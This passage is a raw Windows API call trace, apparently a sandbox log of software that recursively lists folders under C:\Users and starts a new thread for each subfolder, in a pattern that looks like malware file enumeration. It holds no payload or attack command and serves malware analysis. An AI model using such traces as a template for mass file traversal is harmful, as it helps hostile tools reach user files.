(_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2=".") returned 1 [0097.568] wcscmp (_String1="{e52a6842-b0ac-476e-b48f-378a97a67346}", _String2="..") returned 1 [0097.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027b2d0 [0097.568] wcscpy (in: _Dest=0x2027b2d0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.568] wcscat (in: _Dest=0x2027b2d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.568] wcscat (in: _Dest=0x2027b2d0, _Source="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0097.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2027b2d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x77c [0097.569] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0097.569] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2=".") returned 1 [0097.569] wcscmp (_String1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", _String2="..") returned 1 [0097.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027b370 [0097.569] wcscpy (in: _Dest=0x2027b370, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.569] wcscat (in: _Dest=0x2027b370, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.569] wcscat (in: _Dest=0x2027b370, _Source="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0097.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2027b370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0097.570] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0097.570] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2=".") returned 1 [0097.570] wcscmp (_String1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", _String2="..") returned 1 [0097.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x2027b410 [0097.570] wcscpy (in: _Dest=0x2027b410, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.570] wcscat (in: _Dest=0x2027b410, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.570] wcscat (in: _Dest=0x2027b410, _Source="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0097.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2027b410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0097.571] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0097.571] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2=".") returned 1 [0097.571] wcscmp (_String1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", _String2="..") returned 1 [0097.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b861ac0 [0097.572] wcscpy (in: _Dest=0x1b861ac0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache" [0097.572] wcscat (in: _Dest=0x1b861ac0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\" [0097.572] wcscat (in: _Dest=0x1b861ac0, _Source="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" [0097.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b861ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0097.573] FindNextFileW (in: hFindFile=0x1cd9cbb0, lpFindFileData=0x1ce1fa60 | out: lpFindFileData=0x1ce1fa60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0097.573] FindClose (in: hFindFile=0x1cd9cbb0 | out: hFindFile=0x1cd9cbb0) returned 1 [0097.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fa60) returned 1 [0097.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 [0097.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c440) returned 1 Thread: id = 283 os_tid = 0xd9c [0087.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0087.963] wcscpy (in: _Dest=0x1cd97300, _Source="C:\\Users\\All Users\\Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0087.963] wcscat (in: _Dest=0x1cd97300, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Start Menu\\") returned="C:\\Users\\All Users\\Start Menu\\" [0087.963] wcscat (in: _Dest=0x1cd97300, _Source="*" | out: _Dest="C:\\Users\\All Users\\Start Menu\\*") returned="C:\\Users\\All Users\\Start Menu\\*" [0087.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fcd0 [0087.963] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fcd0) returned 1 [0087.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 Thread: id = 284 os_tid = 0xda0 [0087.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d7fc0 [0087.965] wcscpy (in: _Dest=0x1b7d7fc0, _Source="C:\\Users\\All Users\\Sun" | out: _Dest="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun" [0087.965] wcscat (in: _Dest=0x1b7d7fc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\") returned="C:\\Users\\All Users\\Sun\\" [0087.965] wcscat (in: _Dest=0x1b7d7fc0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Sun\\*") returned="C:\\Users\\All Users\\Sun\\*" [0087.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1fcd0 [0087.965] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\*", lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cc10 [0087.965] wcscmp (_String1=".", _String2=".") returned 0 [0087.965] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.969] wcscmp (_String1="..", _String2=".") returned 1 [0087.969] wcscmp (_String1="..", _String2="..") returned 0 [0087.969] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0087.969] wcscmp (_String1="Java", _String2=".") returned 1 [0087.969] wcscmp (_String1="Java", _String2="..") returned 1 [0087.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f770 [0087.969] wcscpy (in: _Dest=0x1cd9f770, _Source="C:\\Users\\All Users\\Sun" | out: _Dest="C:\\Users\\All Users\\Sun") returned="C:\\Users\\All Users\\Sun" [0087.969] wcscat (in: _Dest=0x1cd9f770, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Sun\\") returned="C:\\Users\\All Users\\Sun\\" [0087.969] wcscat (in: _Dest=0x1cd9f770, _Source="Java" | out: _Dest="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java" [0097.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9f770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e4 [0097.788] FindNextFileW (in: hFindFile=0x1cd9cc10, lpFindFileData=0x1ce1fcd0 | out: lpFindFileData=0x1ce1fcd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0097.788] FindClose (in: hFindFile=0x1cd9cc10 | out: hFindFile=0x1cd9cc10) returned 1 [0097.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1fcd0) returned 1 [0097.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7fc0) returned 1 [0097.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f00) returned 1 Thread: id = 285 os_tid = 0xda4 [0087.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c490 [0087.971] wcscpy (in: _Dest=0x1b82c490, _Source="C:\\Users\\All Users\\Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0087.971] wcscat (in: _Dest=0x1b82c490, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Templates\\") returned="C:\\Users\\All Users\\Templates\\" [0087.971] wcscat (in: _Dest=0x1b82c490, _Source="*" | out: _Dest="C:\\Users\\All Users\\Templates\\*") returned="C:\\Users\\All Users\\Templates\\*" [0087.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ff40 [0087.971] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ff40) returned 1 [0087.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0087.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 Thread: id = 286 os_tid = 0xda8 [0087.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f7b0 [0087.973] wcscpy (in: _Dest=0x1cd9f7b0, _Source="C:\\Users\\Default\\AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0087.973] wcscat (in: _Dest=0x1cd9f7b0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0087.973] wcscat (in: _Dest=0x1cd9f7b0, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\*") returned="C:\\Users\\Default\\AppData\\*" [0087.973] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ff40 [0087.973] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*", lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cc70 [0087.974] wcscmp (_String1=".", _String2=".") returned 0 [0087.974] FindNextFileW (in: hFindFile=0x1cd9cc70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.974] wcscmp (_String1="..", _String2=".") returned 1 [0087.974] wcscmp (_String1="..", _String2="..") returned 0 [0087.974] FindNextFileW (in: hFindFile=0x1cd9cc70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66fe9c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0087.974] wcscmp (_String1="Local", _String2=".") returned 1 [0087.974] wcscmp (_String1="Local", _String2="..") returned 1 [0087.974] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c4e0 [0087.974] wcscpy (in: _Dest=0x1b82c4e0, _Source="C:\\Users\\Default\\AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0087.974] wcscat (in: _Dest=0x1b82c4e0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0087.974] wcscat (in: _Dest=0x1b82c4e0, _Source="Local" | out: _Dest="C:\\Users\\Default\\AppData\\Local") returned="C:\\Users\\Default\\AppData\\Local" [0090.829] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9e0 [0090.830] FindNextFileW (in: hFindFile=0x1cd9cc70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0090.830] wcscmp (_String1="LocalLow", _String2=".") returned 1 [0090.830] wcscmp (_String1="LocalLow", _String2="..") returned 1 [0090.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c0d0 [0090.830] wcscpy (in: _Dest=0x1b82c0d0, _Source="C:\\Users\\Default\\AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0090.830] wcscat (in: _Dest=0x1b82c0d0, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0090.830] wcscat (in: _Dest=0x1b82c0d0, _Source="LocalLow" | out: _Dest="C:\\Users\\Default\\AppData\\LocalLow") returned="C:\\Users\\Default\\AppData\\LocalLow" [0090.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4c [0090.831] FindNextFileW (in: hFindFile=0x1cd9cc70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0090.831] wcscmp (_String1="Roaming", _String2=".") returned 1 [0090.831] wcscmp (_String1="Roaming", _String2="..") returned 1 [0090.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82bc70 [0090.831] wcscpy (in: _Dest=0x1b82bc70, _Source="C:\\Users\\Default\\AppData" | out: _Dest="C:\\Users\\Default\\AppData") returned="C:\\Users\\Default\\AppData" [0090.831] wcscat (in: _Dest=0x1b82bc70, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\") returned="C:\\Users\\Default\\AppData\\" [0090.831] wcscat (in: _Dest=0x1b82bc70, _Source="Roaming" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming") returned="C:\\Users\\Default\\AppData\\Roaming" [0090.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb50 [0090.831] FindNextFileW (in: hFindFile=0x1cd9cc70, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0090.831] FindClose (in: hFindFile=0x1cd9cc70 | out: hFindFile=0x1cd9cc70) returned 1 [0090.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1ff40) returned 1 [0090.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f7b0) returned 1 [0090.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d80c0) returned 1 Thread: id = 287 os_tid = 0xdac [0087.975] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c490 [0087.975] wcscpy (in: _Dest=0x1b82c490, _Source="C:\\Users\\Default\\Application Data" | out: _Dest="C:\\Users\\Default\\Application Data") returned="C:\\Users\\Default\\Application Data" [0087.975] wcscat (in: _Dest=0x1b82c490, _Source="\\" | out: _Dest="C:\\Users\\Default\\Application Data\\") returned="C:\\Users\\Default\\Application Data\\" [0087.975] wcscat (in: _Dest=0x1b82c490, _Source="*" | out: _Dest="C:\\Users\\Default\\Application Data\\*") returned="C:\\Users\\Default\\Application Data\\*" [0087.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce201b0 [0087.976] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce201b0) returned 1 [0087.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0087.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c530) returned 1 Thread: id = 288 os_tid = 0xdb0 [0087.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f830 [0087.978] wcscpy (in: _Dest=0x1cd9f830, _Source="C:\\Users\\Default\\Contacts" | out: _Dest="C:\\Users\\Default\\Contacts") returned="C:\\Users\\Default\\Contacts" [0087.978] wcscat (in: _Dest=0x1cd9f830, _Source="\\" | out: _Dest="C:\\Users\\Default\\Contacts\\") returned="C:\\Users\\Default\\Contacts\\" [0087.978] wcscat (in: _Dest=0x1cd9f830, _Source="*" | out: _Dest="C:\\Users\\Default\\Contacts\\*") returned="C:\\Users\\Default\\Contacts\\*" [0087.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce201b0 [0087.978] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Contacts\\*", lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ccd0 [0087.979] wcscmp (_String1=".", _String2=".") returned 0 [0087.979] FindNextFileW (in: hFindFile=0x1cd9ccd0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.979] wcscmp (_String1="..", _String2=".") returned 1 [0087.979] wcscmp (_String1="..", _String2="..") returned 0 [0087.979] FindNextFileW (in: hFindFile=0x1cd9ccd0, lpFindFileData=0x1ce201b0 | out: lpFindFileData=0x1ce201b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 